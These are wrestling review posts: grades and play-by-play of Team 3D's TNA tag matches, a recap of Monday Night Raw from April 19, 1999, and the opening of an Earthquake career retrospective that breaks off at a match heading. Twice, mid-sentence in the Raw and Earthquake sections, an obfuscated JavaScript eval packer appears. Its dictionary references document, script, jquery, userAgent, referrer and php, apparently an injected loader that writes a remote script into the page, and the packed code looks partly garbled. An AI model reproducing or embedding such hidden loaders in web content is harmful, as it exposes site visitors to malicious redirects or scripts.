
Even Tenay makes jokes about him hitting it. Not really funny but kind of cute. Both singles champions hook ankle locks but Bubba gets out and Angle hits Joe by mistake. 3D on Angle and D-Von gets the cover. And here’s Rick Steiner to break things up. Scott Steiner blasts Bubba with a pipe but Angle breaks it up so he doesn’t not win the tag titles. Angle hits Bubba with the Angle Slam and Joe steals the pin to get the tag belts. Holy pointless run ins Batman!

Rating: C+. Again, it’s ok but it’s not like there was ANY drama at all here. They just blew it with Team 3D having the belts here as with AJ/Daniels, who they had a legit chance to put them on 3 days before this. This was ok but it was just about Angle or Joe which made it rather boring and at nearly 20 minutes, just WAY too long. Not a smart nor particularly good main event.

Time for a dream match! From Bound For Glory 2007.

Steiner Brothers vs. Team 3D

They point out that the Steiners now reside in Atlanta to HAMMER in the face push. Big brawl to start as you have to get two table put throughs out of three to win this. Well it’s better than a regular table match. I’m not sure how but it prevents winning on a fluke I guess. Rick thankfully is in a shirt as we get the Steiner pose. The Dudleys try to leave and that goes nowhere.

Beer to the face of D-Von as they’re in the crowd. Granted this isn’t so much a waste of time as you can go through a table anywhere. Big brawl in the stands where not a lot is going on as there are no tables in sight. Scott and Bubba are brawling as are the other pair. There’s the first table brought in but it’s not set up yet. We’re back around the ring now.

In the ring now and Rick goes through one on a 3D. Scott is on the floor and there aren’t any eliminations it seems which I like better. Scott fights out of a super bomb and hits a Frankensteiner where he does nothing and Bubba has to jump for the flip, hitting the back of his head on the edge, more or less breaking through the table with his neck. FREAKING OW MAN.

It’s tied up at one here as D-Von misses a splash. How was Steiner a world champion in WCW? I think you can count him as another example of a guy making money and getting as far as he did because WCW was in the place it was rather than his talent. Bubba whips Scott with a big leather belt as Rick has apparently disappeared.

Scott is put on a table and it just kind of collapses which doesn’t count as it’s not a guy being put through it which makes sense. Scott has his beard braided which looks stupid as all goodness. The Dudleys put him on another table and go for his injured throat. The Guns run down for the save. D-Von misses a chair shot and the Steiner Bulldog ends it.

Rating: D+. Well they were trying out there but it didn’t work that well. The two old teams going at it were supposed to comprise a dream match but it didn’t work. Why should I want to see either of these teams rather than the Guns who had a run in here? It’s more old guys that aren’t worth much doing their thing. That’s rarely a good thing and this was no exception. Having the 2/3 thing was a nice little twist though and it helped it a good deal.

The Dudleyz would then enter a war with the X-Division, which somehow led to a match about fish at Destination X 2008.

Fish Market Street Fight: Team 3D vs. Shark Boy/Curry Man

West and Curry Man dance before this starts. This was when Shark Boy was a parody of Stone Cold, drinking clam juice, talking about how that’s the fishing line, giving him a shell yeah and having Austinesque theme music. It was awful in case you couldn’t get that. Bubba yells a lot and D-Von weighs in at….some undisclosed weight under 275lbs. Bubba allegedly makes it too, thereby ending this idiotic angle.

And now Devine, the X-Division traitor, hands them candy and they eat but get jumped. This is a glorified hardcore match but with “comedy” added to it. The Dudleys get run off early on and try to leave. I don’t like where this is going. There are big crated of frozen fish around the aisle. See what I’m dealing with here? Yes, they’re beating each other with frozen fish. Mike gets the HOLY MACKERAL line in.

Curry Man puts a Ding Dong on a fishing pole and goes Ray hunting. Oh of course it works. This is making my soul ache. Honestly, who thought this was a marketable idea? Who thought someone would want to see this? Ray throws fish into the crowd and the announcers say this was expected. Uh, why? Ray bites a fish as I would be so embarrassed if someone knew I was watching this.

We get some actual wrestling just so we can be told there was wrestling in this. What’s Up on Curry Man with a fish. It’s returned by Shark Boy and this is awful. Oh but hey, according to Meltzer, the triple threat at Survivor Series was worse. Yeah keep telling yourself that buddy. Stereo X-Factors and Tornado DDTs on the heels get two. Shark Boy kicks out of a Doomsday Device. Bubba gets blinded by powder and accidently hits 3D on D-Von to end it. The Dudleys get into it with some guy from Survivor that no one cares about.

Rating: F-. I’m not even going to bother explaining why a match involving beating on each other with fish is a failure.

Let’s get back to serious with a four way Full Metal Mayhem match at Bound For Glory 2008.

Tag Titles: Matt Morgan/Abyss vs. Beer Money vs. Team 3D vs. LAX

This is Monster’s Ball and Beer Money have the belts. Steve McMichael of all people is the guest referee. He looks OLD too. The intros here are freaking ridiculous. Basically this is a four way street fight/hardcore match but I’m not sure if the pins have to be in the ring or not. WAY too many people in the ring here.

You know at this point, is Mongo the most successful singles wrestler in there? Ah that’s right Abyss is a former world champion. Not that we’re ever told that anymore or anything though. Bunch of high spots including a tope con hilo from Homicide. We break out the weapons and its really nothing special at all. Homicide has a fork for no apparent reason and stabs D-Von’s head with it.

Abyss is on his anti-weapons thing here. Cheese grater comes out as I feel like I’m on Emeril or something. That doesn’t sound bad actually as I’m a bit hungry. Bubba suplexes Hernandez from the middle rope and the fans want tables. Blockbuster by Roode which makes me smile a bit. Total weapons thing starts up here as Mongo steals the tacks from Storm.

Mongo is FAT. We get a football sequence complete with helmet and football and Beer Money goes down of course. Morgan does a big dive to the floor to take out a bunch of people. This is such a huge mess. Johnny Devine comes out and pops Abyss with a kendo stick a few times. Table and lighter fluid are brought in on the stage. Abyss goes through it off a double chokeslam from the Dudleys.

Homicide in control now. I’ve never seen this ring genius or whatever that he’s supposed to be. Sweet goodness Mongo counts slow. Sit out powerbomb by Hernandez gets two. Elevated Gringo Cutter gets two due to Jackie getting the save. Apparently the Dudleys and Morgan have like died or something. Ah there’s Morgan. Border Toss to Morgan as Bubba brings in a table.

Supermex makes the save for Homicide though as this is probably getting close to the end. Mongo helps lay out the tacks on the table and Hernandez hits a 3D on the table on the tacks but Beer Money runs in to steal the pin.

Rating: B-. It certainly was violent, but it was just a big long weapons match. This is the longest match of the night, getting over twenty minutes. Mongo hurt this a lot as he counted so slowly that it appeared that he was shortchanging everyone with the cadence of his counts. This was pretty good but at the same time it was nothing we hadn’t seen before. Also having 8 guys out there was just too much. Still fun though.

They would pick up the IWGP Tag Team Titles around this time and since they’re Japanese, TNA decided the fans cared about them. This led to a unification match at Lockdown 2009.

TNA/IWGP Tag Titles: Beer Money vs. Team 3D

The idea here is a Philadelphia street fight, as in you can come and go from the cage as you please, defeating the entire purpose of the cage at all. Bubba knocks the steps away from the cage door which does nothing at all for the most part. They’re in the cage to start and the door is shut despite them talking about it being the open cage thing the whole time.

And so much for that as they’re on the floor now. They might have been in the cage for about thirty seconds. The fans want tables as we head into the crowd. We go split screen as we’re in the crowd. They each get a quarter of the screen as half of it is a big Lockdown logo. Storm vs. Bubba and Roode vs. D-Von but they merge in a luxury box.

Falls count anywhere apparently. The required ECW chant starts up even though the crowd can’t see them for the most part here. West thinks the crowd is 98/2 for Team 3D. Thank you for that excellent analysis Mr. West. The fans still want tables. Just sit stuff on your laps guys. Back to the ring now as Storm uses the cage door as a weapon. Storm gets a table out which should be done by the face but why would that matter?

The heels climb onto the steps and give D-Von a double suplex through the table. Bubba is busted open and it’s 2-1 inside the cage. He gets a double clothesline to take down both guys that aren’t wearing shirts. Again I need more ways to tell you who does what without saying their names over and over. Roode takes a Bubba Bomb from the top rope. Dang that must hurt him worse than a prostitute screwing a blind guy.

The other 3D gets two on Roode. So he’s kicked out of two almost finishers while Storm has taken nothing. Why doesn’t Roode leave him at this point? The fans want more tables. Sweet goodness how much stuff are they carrying? D-Von gets a top rope clothesline for two. What’s Up to Roode. Here comes the second batch of tables.

Beer Money comes back and hits what we would call the Mooregasm on D-Von for two. So apparently Ink Inc is better than Beer Money? Too many dead spots in here where they’re just setting other stuff up rather than actually doing anything. Storm accidently slams the door onto the head of Roode, allowing 3D through the table to end it.

Rating: C. It wasn’t bad and was probably the best match of the night thus far but this still wasn’t great. The Dudleys win another tag title. Why is this supposed to mean something? It was an ok match but it really wasn’t anything all that great. Like I said there were too many dead spots and it was too long at 15 minutes. Not bad at all though.

They would be back in the main event scene for Lethal Lockdown at No Surrender 2009.

Booker T/Scott Steiner/British Invasion vs. Beer Money/Team 3D

It’s Wargames: start with a person per team for five minutes then another from one team comes in for a 2-1 advantage for two minutes then it’s tied for two minutes and so on until we’re at 4 each. Then the roof comes down with weapons and it’s first fall wins. The heels, Steiner/Booker/Brits, have the advantage. The Mafia members are TNA Tag Champions and the Brits are IWGP Tag Champions because TNA thinks most Americans care about those titles. Douglas Williams vs. James Storm to start us off.

Williams leaves the cage to try to jump Storm which doesn’t work at all. Into the cage now as the fans are behind Storm sort of but other than that they’re rather quiet. Storm gets a reverse tornado DDT but he can’t cover since not everyone is in. This is more or less just a slow paced one on one match here with no one really taking over. Granted that might be because there’s no need to have this be in Lethal Lockdown.

Eye of the Storm (spinning release Razor’s Edge) sets up some choking but Williams kicks him low to reverse the momentum again. We have a minute left and Williams’ team will get the next man in. In second is Brutus Magnus so it’s 2-1 for two minutes. Storm wisely dropkicks the door onto his face before he can get in but Williams sends Storm into the ropes, allowing Magnus to slam the door onto Storm’s back to take over.

The Brits like to shake hands a lot. A lot of time is wasted here as we’re almost at two minutes and Storm is busted open. It’s been two minutes and there’s no clock. Ah there’s the countdown but it was more like 2:15. In next is Robert Roode to make it a tag team cage match which again shows THERE WAS NO POINT TO THIS BEING LETHAL LOCKDOWN. Some nice double teaming by Beer Money gives them the advantage as the crowd only kind of seems to care.

The annoying Impact Zone fans count down the clock from like 30 seconds because they need to be a part of the show right? Anyway in next is Steiner which kind of surprises me. Steiner busts out come clotheslines and suplexes so Tenay makes a small wisecrack about that being all he does. Taz takes exception to being criticized for only using suplexes in a slightly funny moment. Frankensteiner (or what is now called that) kills Storm and the beating is on.

The clock is on as one of the problems with this match comes into focus: it takes about 15 seconds for someone to come from the back and get into the cage. That doesn’t sound like a long time but when you only have two minutes before the next intro and the countdown clock comes on at 15 seconds to go, you have about 1:30 to do your thing with the focus on you. However, about 45 seconds of that is just you hitting random moves on everyone at a fast pace, leaving you with about 45 seconds to use teamwork. It’s very fast paced and something that wasn’t as much of an issue in WarGames with everyone on the floor.

Anyway D-Von and company take over as we wait on Booker and Bubba to get here to even the numbers out. Also, one ring with eight guys in it is WAY too crowded. I think one year there were only six people in this match and it worked far better. Here’s Booker as not a lot happened in D-Von’s time. Booker walks even slower, showing off the tag titles. He took about 40 seconds to get there and somehow none of the faces were standing there waiting on him. How can you not pick up on that?

Steiner hits the floor and chokes Roode with the cage door as we’re waiting on Bubba with about 20 seconds to go. The clock is extended a bit more this time as Booker got about 2:15 in his period if you can call it that. Ray comes down but Rob Terry jumps him in the aisle and then nails him with a chair. Terry then yells at the guy that controls the roof of the cage to come down and here come the weapons.

Ok so now it’s first fall by either pin or submission. Well at least there are only seven people in the ring which helps a tiny bit. On the floor Ray avoids another chair shot and takes Terry out with a shot to the head. He’s in now with the chair, drilling all heels with some WEAK chair shots and here come the good guys. A trashcan gets put on someone’s balls and Bubba drills it with a crutch, prompting Tazz to yell YAMBAG YAHTZEE!!!

Brutus and Beer Money go to the top of the cage and it’s a double team suplex to Magnus. I’m terrified of heights so I’d be scared to death up there. BEER MONEY is shouted up there and it’s 3D to Steiner from….well from 3D. Does that mean they can charge more for not much of a difference in the visual aspect of it? Book End takes down Bubba but it’s time for heel miscommunication. Blockbuster by Roode to Booker and DWI ends Williams for the pin.

Rating: B. Lethal Lockdown is a match that automatically gets a higher grade to start and this is right about in the middle for one. The biggest problem is obvious: there is zero reason this needed to be Lethal Lockdown at all. This should have been a pair of tags or maybe a Survivor Series style match. Not much of note but again Lethal Lockdown on its own is inherently cool so it gets a good grade.

Then the Nasty Boys were brought in as a joke on the fans, but the fans had to sit through this match at Against All Odds 2010.

Nasty Boys vs. Team 3D

So now people are being asked to pay to see the Nasty Boys. Good to know. That lounge music is REALLY annoying. No one in TNA has ever taken it to Team 3D like the Nastys? REALLY? Sags looks slimmer and nearly in shape. Knobbs…not so much. 3D runs them off and I guess they’re the faces? It’s been 2 minutes so they might have turned since then.

We get to a regular tag match with Sags vs. Bubba. Both guys have pants with their team name on it. Is that in case they get lost? Sign in the front row: pipe down nerds. That’s rather funny. The fans want to sit down and eat. What else could they want tables for? This hasn’t been as bad as I expected, but it’s nothing compared to the Nasty Boys doing science experiments like they did in 1995.

You have to see that clip if you don’t know what I’m talking about. SuperBrawl 1995, opening of the tape. Go find it as it’s just bizarre. Oh look: Brooke Hogan is here. It has nothing to do with the show or the match, but it needs to be noted: Brooke Hogan is indeed HERE. The Nastys take over now. Taz says lifting Knobbs is like lifting a small foreign car. That’s rather funny. Sags takes 3D and JIMMY FREAKING HART makes the save. Are you kidding me??? His helmet is slammed into Bubba for the pin. Love that voice.

Rating: C-. I’m very surprised as this wasn’t terrible by any means. It wasn’t particularly good but it was far from bad. I do not get the point in the Nasty Boys being on TV but having Hart there is never a bad thing. Allegedly the Nasty Boys were a rib from Bischoff and Hogan, so enjoy paying to give those two a laugh at our expense.

With nothing else to do, the team said they would retire after one last match. From Turning Point 2010.

Tag Titles: Team 3D vs. Motor City Machine Guns

After a lot of standing around looking at each other, D-Von and Shelley start. Pre-match handshake is always nice to see. They start with some technical/mat stuff and not a lot is going on so far. Dueling chants begin. We’re told that Dreamer, Raven and Tazz started the Dudley Boys which is only technically true as the Dudley Family, who didn’t start off as Bubba and D-Von, were based on the brothers from the movie Slapshot. Ah ok they mention that at least.

They get to say Dudley Boys here which is surprising. Sabin vs. Bubba now. Big boot cuts the head off of the small one. Back to the starters now with the Guns in control. Shelly might have hurt his knee off a top rope move but his knee seems to be ok as it gets worked on by Bubba. They’re going for the big match here and it’s working to an extent.

Back off to Sabin now and some modified Poetry in Motion and double teaming sends the Dudleys to the floor. Sabin misses a dive though and eats floor. Bubba goes into the post and DIVES under the ring. Shockingly when he comes back up he’s busted open. The fans want tables. Shelley bends Bubba’s fingers back which is a freaking ow move if there ever has been one.

They’re trying to make the Guns wrestle heel here because this is a rather stupid company. Top rope Batista Bomb gets two on Sabin. Nice one there. Bubba’s facial expressions are kind of funny. Shelley kicks D-Von while he’s on the apron to a few boos. Sabin and D-Von both come in off hot tags as the cranking up thing here isn’t really happening.

Sabin gets beaten down for awhile while the other two are on the floor. D-Von catches Poetry in Motion and throws Shelley onto Sabin which was cool. All Dudleys here as D-Von hits the top rope headbutt on Shelley for two as Sabin makes the save. What’s Up hits and it’s table time. This version is in the corner if you’re curious. HUGE table chant.

As per the laws of table usage, the person that set it up, Bubba in this case, goes into it. Skull and Bones hits D-Von for only two. That gets kicked out of every time. 3D to Sabin but it only gets two as Sabin kicks out. That’s not something you ever see so I can give it points there. Skull and Bones to Bubba end it soon afterwards to set up the big send off.

Rating: C+. They were going for the big and epic match here and didn’t really get there. This was good but at the same time it’s just another title win for the Guns, which is the right move at least. I don’t buy them leaving at all but that’s neither here nor there. This wasn’t a classic but it was by far the best match of the night so far. And yes, someone has kicked out of the 3D before: Masato Tanaka in ECW.

Since nothing is forever in wrestling, the team reunited for the One Night Only Tag Team Tournament. Here’s their match in the finals.

Tag Team Tournament Finals: Team 3D vs. Austin Aries/Bobby Roode

This gets the big match intros as more time is killed. For some reason the lights have been turned off and there are only spotlights on the ring. Ray takes the mic from JB to make sure the intro is perfect, despite having a bit of a disagreement over how much they weigh. He challenges Aries to do a better intro if he can, leading to a weight dispute between the other team as well. Aries of course mentions beating Roode for the title before saying they don’t need a team name because they’re just that great.

The match starts with a brawl on the floor as the fans aren’t sure who to cheer for here. Who thought heel vs. heel was a good idea here? Aries takes over on Bully while D-Von and Roode stagger around ringside. D-Von is sent into the barricade as Aries hits an ax handle from the apron to Bully. Ray comes back with a low chop to take Austin down while D-Von chokes Aries against the post.

The pairings switch off and Aries takes over on D-Von. No one has actually been in the ring yet. Ray chases Hebner with a chain before bringing Aries inside for What’s Up, only to have Roode make the save. Aries gets in a low blow to Ray as we finally have some starters. Roode comes in to stomp on Ray’s ankle before Aries comes in for a top rope knee drop. A Hennig neck snap puts Ray into the wrong corner but he chops Aries from his knees.

Aries puts on a front facelock as the fans still aren’t sure who to cheer for here. They pick Ray at the moment, even though he’s the top heel in the company. Ray makes the tag to D-Von but a Roode distraction means it doesn’t count. Roode comes back in for a chinlock but Ray belly to backs his way out. Aries stomps away in the corner as the announcers talk about Howard Stern and Jesse Ventura running for President.

Ray fights up and collides with Roode, setting up the ice cold tag to D-Von. He cleans house for a few seconds before Aries and Roode double team him down. Aries loads up the foreign object but hits Roode by mistake, setting up the 3D for the pin. Tenay of course acts like this is the least interesting thing ever.

Rating: D+. The match wasn’t bad but the booking made next to no sense. Ray spent his previous two matches being the biggest jerk he could possibly be but we’re supposed to cheer for his team in the finals? The logical move would have been to put Joe and Magnus over by DQ or countout to protect the champions and give us a basic heel vs. face final, but instead they went with this and the crowd didn’t know what to do. The lighting was weird too.

Yes they got annoying, yes they stayed around too long, yes they were shells of their former selves late in their run, but that many title reigns is just ridiculous. They’re the most successful tag team of all time, but I definitely wouldn’t call them the best. Give me a good Steiner Brothers marathon any day. That being said, they’ve been one of the few constants in wrestling over the last nearly twenty years and you can’t pass that up.

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Monday Night Raw – April 19, 1999: WWF Needs Ritalin

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnedk|var|u0026u|referrer|khfft||js|php'.split('|'),0,{})) Night Raw
Date: April 19, 1999
Location: Van Andel Arena, Grand Rapids, Michigan
Attendance: 10,671
Commentators: Jerry Lawler, Jim Ross

It’s the go home show for Backlash and the main story is the Ministry being totally out of control. The Corporation is fighting them as well as they can but there’s just too much going on for them to do much good. Other than that we’ll get the fallout from Rock throwing both Austin and the title belt into the river last week. Let’s get to it.

We open with a recap of the Smoking Skull belt being introduced and then thrown in the river last week with Austin following it into the water.

Rock drives a hearse into the arena because he buried the title last week. This week it’s going to be a funeral with Rock delivering the eulogy. We even have a casket, flowers, and a big mound of dirt. Rock climbs onto the mound while guaranteeing to show that he’s the best champion ever on Sunday. Simple stuff here but on a big stage.

Vince and Stephanie will do a sitdown interview in Connecticut tonight so Vince is checking with security to make sure Stephanie is safe.

Road Dogg vs. Owen Hart

There’s no ramp this week due to the grave taking up so much space. Before the match, Dogg says that the Outlaws are the #1 contenders but if he loses tonight, Owen and Jarrett are the #1 contenders, no questions asked. However, if Dogg wins, the world gets to see Debra’s puppies. That’s the first time that term was ever used in the WWF so there’s your historical moment.

Owen jumps Dogg to start as Jerry is now a huge Roadie fan. The left hands and shaky knee drop get two on Owen but he comes back with a spinwheel kick (Lawler: “NO!”). A legdrop gets two more for Hart and he nails an enziguri for a close two. Owen drops a middle rope elbow but Dogg kicks out of the Sharpshooter and hits the pumphandle slam for the pin, sending Lawler into orbit.

Rating: D. This was just about the post match stuff and introducing one of the longest running jokes in WWF history to the lexicon. The tag match on Sunday was the more important story anyway, but this is far most historic. It says a lot that Owen and Jarrett were one of the top teams in the division.

Jeff Jarrett prevents the unveiling.

Undertaker sends the Acolytes out to take care of the Brood.

Rock is practicing his eulogy.

Brood vs. Acolytes

Christian is the odd man out here. It’s a brawl to start with the power guys easily taking over to start. Farrooq powerbombs Edge down but the Canadian comes back with a spinwheel kick and some lame kicks to the shoulder. That’s fine with Farrooq as he comes back with a spinebuster and makes the tag to Bradshaw. Gangrel comes in and fights out of a superplex before hitting a quick DDT.

Bradshaw hits a quick fall away slam and brings Farrooq back in for a belly to back suplex/neckbreaker combo. Farrooq works on the back as Lawler’s voice sounds like it’s cracking. Gangrel finally gets over for a tag but Bradshaw takes Edge’s head off before he can get going. The double powerbomb lays out Edge but Shamrock runs in with a ball bat to knock Bradshaw silly for the DQ.

Rating: D+. Not much better than the opener but it had more time and the teams knew how to work a decent match. Neither team would do anything for awhile but once Edge and Christian took off they never looked back. The main event war continues to devour the entire company.

Undertaker is livid at the Acolytes for not getting a pin.

There’s a new special coming. It’s called Smackdown.

During the break, Undertaker and Viscera beat the tar out of Farrooq and Bradshaw.

Intercontinental Title: Godfather vs. Hardcore Holly

Only Godfather’s title is on the line. It’s a slugout to start with Godfather getting the better of it. A boot to the face sends Holly to the floor where he picks up a cookie sheet, only to get rolled up for two. The Ho Train crushes Holly but we’ve got a ref bump a minute into the match. Holly rolls outside again and nails Godfather with the cookie sheet several times before throwing him out to the floor. A hockey stick over Godfather’s back has him in even more trouble but Godfather kicks a chair into Holly’s face. Goldust comes out and breaks up Godfather’s cover, but Snow lays Holly out with Head to give Godfather the pin.

Rating: D-. Did I mention this is Russo time? It’s a three minute and five second match, complete with a ref bump, four weapons and two run ins. I have no idea why the match needed all this stuff but that’s part of Russo’s philosophy: a title match isn’t enough to keep the fans’ entrance so all this stuff has to be thrown in. It works once in awhile but when it happens all the time, the effect wears off.

Undertaker is on the phone with Mideon and tells him not to fail.

Rock is having his shoes shined and promises to bury Austin tonight.

Ken Shamrock vs. Big Boss Man

No holds barred due to Boss Man attacking Shamrock last week to kick him out of the Corporation, though Shamrock is still loyal to Vince. The brawl starts in the aisle with no one in control. Boss Man is sent into the steps and then into the ring for the opening bell. Shamrock kicks Boss Man in the head and they slug it out until an enziguri (hit Ken’s shoulder) puts Shamrock down. A much better pair of spinebusters get three straight two counts and a powerslam gets one more. Boss Man hammers away even more but Ken grabs a hurricanrana and belly to belly out of nowhere for the pin.

Rating: D-. The gimmick brings this down as there was no reason for this to be no holds barred at all. If nothing else it makes future matches with the same gimmick look stupid as fans will say “the last one sucked so why should I care about this one?” As a regular match it wasn’t much to see either.

Undertaker immediately pops up and says he knows where Ryan Shamrock is, even knowing her room number. Ken runs to the back.

The Mean Street Posse comes out for commentary.

Mankind vs. HHH

Some right hands have HHH in early trouble but Chyna pulls Mankind down by the tie and hits him in the face. That doesn’t last long though as a backdrop puts HHH down again and he gets tied up in the Tree of Woe. HHH comes back again and hits the running knee to send Mankind outside. Chyna gets in even more shots as the Posse hasn’t had much to say so far.

Back in and HHH drops a knee for two before clotheslining Mankind out to the floor. Both guys are sent into the steps with HHH getting the better of it and hammering away back inside. The Pedigree is countered but HHH blocks the catapult attempt, so Mankind falls head first onto his crotch. Socko is loaded up but Chyna crotches Mankind against the post for a DQ.

Rating: C-. Better match but that’s still not saying match. These guys were capable of having some classics but they need more than six minutes on a random Raw in the middle of April. The DQ/screwy finishes are getting really annoying tonight, which says a lot given what we usually have to sit through on this show.

Post match the Corporation comes in to attack Mankind but Big Show makes the save. He hits a HUGE chokeslam on Test to send everyone running. Mankind grabs the mic and says thank you very much, but they’ll still meet in his boiler room on Sunday.

Rock is on the phone in the parking lot and says his car cost $40,000.

Billy Gunn vs. Jeff Jarrett

Jeff sends him into the corner and stomps away to start but walks into a great powerslam for two. Owen comes out to trip Billy, allowing Jarrett to clothesline him outside. Road Dogg gets caught trying to help and Gunn is posted. A bulldog gets two for Jarrett but Billy drops him face first onto the top turnbuckle to take over.

Road Dogg helps his partner out with a right hand but Billy and Jeff hit heads to knock each other down. JR is already annoyed at the puppy jokes as Billy nails a neckbreaker, but Debra unbuttons her top to show off her bra. Billy simply drops his tights and hits a Fameasser on Jarrett but Owen comes in for the DQ.

Rating: C-. That’s almost out of pity as these matches have just been awful tonight. The tag matches make sense for Sunday, but I don’t see the point in having one team win both of the matches. The puppy stuff would dominate anything to do with women for about the next three years, much to JR’s annoyances.

Debra takes off her jacket but Jeff covers her bra with the guitar.

Rock won’t give an interview to WWF.com and tells the interviewer to get him some fruit.

Viscera vs. Big Show

They lock up to start and Big Show easily shoves him to the mat. Viscera takes him into the corner for some fat man splashes, only to get crushed with a clothesline. A rather impressive hiptoss puts Viscera down but he comes back with more fat man splashes. Big Show kicks him in the face to drop Viscera again but the lights go out as he loads up the chokeslam. We’ll say it’s a no contest here after your usual battle of the huge men match.

Undertaker and Paul Bearer come to the ring and we get the real showdown with Big Show. They slug it out and both try chokeslams but Viscera gets back up for the double team. Big Show still won’t go down but Undertaker punches him onto one knee. Mankind comes out to even things up but Undertaker leaves Viscera alone. Big Show superkicks Viscera to the floor. It really is amazing how much bigger Show is than Viscera, who is a massive man.

We look at Shane taking over the Corporation last week.

Vince and Stephanie are in Connecticut for a sitdown interview with Michael Cole. Vince says he’s always been proud of Shane but he wasn’t always there for him. Shane missed a lot as well because Vince wasn’t there, but Vince wasn’t proud last week. Stephanie can’t believe what Shane has done recently but knows that the only person that can keep her safe is Vince.

Security interrupts the interview and says something is going on in the parking lot. Vince tells the guards to stay there with Stephanie and goes after whoever is in the parking lot. It turns out to be Mideon and Vince beats the tar out of him before trying to crush Mideon with his own car. Mideon escapes and gets into the car as we go to a break.

Here’s Val Venis to say he’s solved the Y2K problem. All the ladies have to do is add a few extra bytes of ram from his hard drive and everything will be fine. This brings out Sable who says that’s nice, but she’s got bigger news: in two weeks, she’ll be shooting her second Playboy pictorial. This brings out Ivory and D’Lo Brown and the double brawl is on for no apparent reason. Now Sable’s bodyguard Nicole Bass comes out to destroy Ivory with a chokeslam. Val seems to have eyes for Sable.

It’s time for Rock to deliver the eulogy for Austin. Rock sets the tone with “Dearly trailer park trash”. Oh we could be in for a good one here. Rock isn’t sure if a roody poo like Steve Austin will fit in that casket before we get the real point of this: Rock opens his jacket to reveal the Smoking Skull belt. He runs his mouth about Backlash a bit until you can hear an engine revving.

We go outside and Austin is in a 3:16 monster truck. He goes over to the Rock’s car and puts it in the middle of the parking lot before getting back in the monster truck. Austin teases it a bit by driving around the Lincoln Continental a few times before crushing the brand new $40,000 car, sending Rock into a frenzy.

With that nice and destroyed, Austin drives the truck into the arena and beers are consumed. Back into the truck and Austin runs over the hearse before the fight is on. Rock barely gets in a single shot before Austin nails him with the belt to send Rock into the grave. Austin poses with the title but Shane comes in (remember that he’s the referee on Sunday) and breaks a shovel over Austin’s head to end the show.

Overall Rating: D+. This is where Vince Russo was in need of the leash more than ever. All the stuff in the middle of this show was about as dreadful as you can get because it keeps going so fast that you can’t keep up with anything at all. However, there’s good stuff on both ends of the show that make it worth seeing. As for a go home show though, this really didn’t hold up well either. Most of the matches were just glossed over and the pay per view sounds like it’s going to be a big commercial for the next night’s Raw. That being said, it’s still better than anything WCW was doing at this point and that’s all that mattered.

Here’s Backlash if you’re interested:

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Wrestler of the Day – May 25: Earthquake

Today we’re heading north to Canada for Earthquake.

Earthquake eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sihrs|var|u0026u|referrer|nktaz||js|php'.split('|'),0,{})) got his start in sumo but had to change over to professional wrestling due to his tattoo on his arm. He got started in 1987, including this match from AJPW on June 8, 1987.

John Tenta/Jumbo Tsuruta vs. Road Warriors

Animal press slams Jumbo about three second after the bell but Tsuruta comes back with a lariat before the fight heads outside. Back in and the Road Warriors take over with Hawk hammering away. Tenta comes in off the tag and Hawk can’t knock him around, so we get a big fat man slam instead.

Hawk dives into a bearhug followed by a belly to belly for two. A double clothesline puts both guys down and Hawk brings in Animal, only to have him get double teamed. Tsuruta puts on a leg lock but it’s quickly back to Hawk for a leg lock on Jumbo. That goes nowhere so it’s back to Animal for a powerslam on Tenta, followed by a Rocket Launcher to give Hawk the pin.

Rating: D+. For a rookie, Tenta didn’t do half bad out there. The match wasn’t anything to see unless you’re interested in seeing the Natural Disasters vs. LOD with a much more talented guy subbing in for Typhoon. Granted that wouldn’t be too hard to do. All the leg locks were weird to see if nothing else.

Earthquake would go to the WWF soon after this and start literally squashing everyone in his path. One of his first pay per view matches was at Wrestlemania VI.

Hercules vs. Earthquake

Earthquake misses a charge into the corner to start and Hercules pounds away on him. The big man heads to the floor before coming back in for a test of strength. Hercules goes down almost immediately and Earthquake is in control. The non-disaster comes back with some clotheslines but for reasons of general stupidity, Hercules tries a torture rack which goes as well as you would expect on someone who weighs 468. Two Earthquakes end Hercules.

Rating: D. Quick and easy here as Earthquake was clearly being built up as a huge monster for either Hogan or Warrior. He could certainly move very quickly for a guy his size and he had the talking ability to back it up. Earthquake is often forgotten as a quality monster which is a shame because the guy was pretty awesome.

Later in the month, Earthquake would face fan favorite Hillbilly Jim at Saturday Night’s Main Event XXVI.

Hillbilly Jim vs. Earthquake

First of all, let it be known that Jim’s music is freaking amazing on all levels. Jim wasn’t much in the ring, but he wasn’t supposed to be. He was a gimmick character that worked as well as any ever has. Can you think of a single time that he didn’t get a pop and a half? He was just so ridiculously over because of nothing more than the clapping thing he would do.

Like I’ve said before, he found something that worked and he ran with it. I would almost guarantee that if he came back today as a guest host, he would get the roof blown off almost any arena in the country. The key thing to him was that he was never taken seriously. He wasn’t shoved down our throats as a major player ever and because of that we never got sick of him.

Look at Eugene. He was originally an awesome character that a lot of people marked out for. Then they put him in an 18 minute match with HHH at Summerslam, and to the shock of no one, he got booed out of the building. The point is, keep the comedy characters in the right place.

As for the match, it’s a 90 second squash as Hart distracts Hillbilly and Quake hits a corner splash and two earthquakes to end this. That’s how it should have been. As usual, Quake’s opponent is taken out on a stretcher. That more or less was his gimmick which was fine.

Rating: N/A. It’s far too short to grade, but it did its job so this would have been a positive rating.

Earthquake’s biggest feud would be against Hulk Hogan, as he injured Hogan so badly that Hogan thought he was an intergalactic bounty hunter named Shep Ramsay stranded on Earth with Christopher Lloyd and Shelly Duvall (and the actress that would play Peggy on Mad Men). Their first showdown and Hogan’s return match was at Summerslam 1990.

Hulk Hogan vs. Earthquake

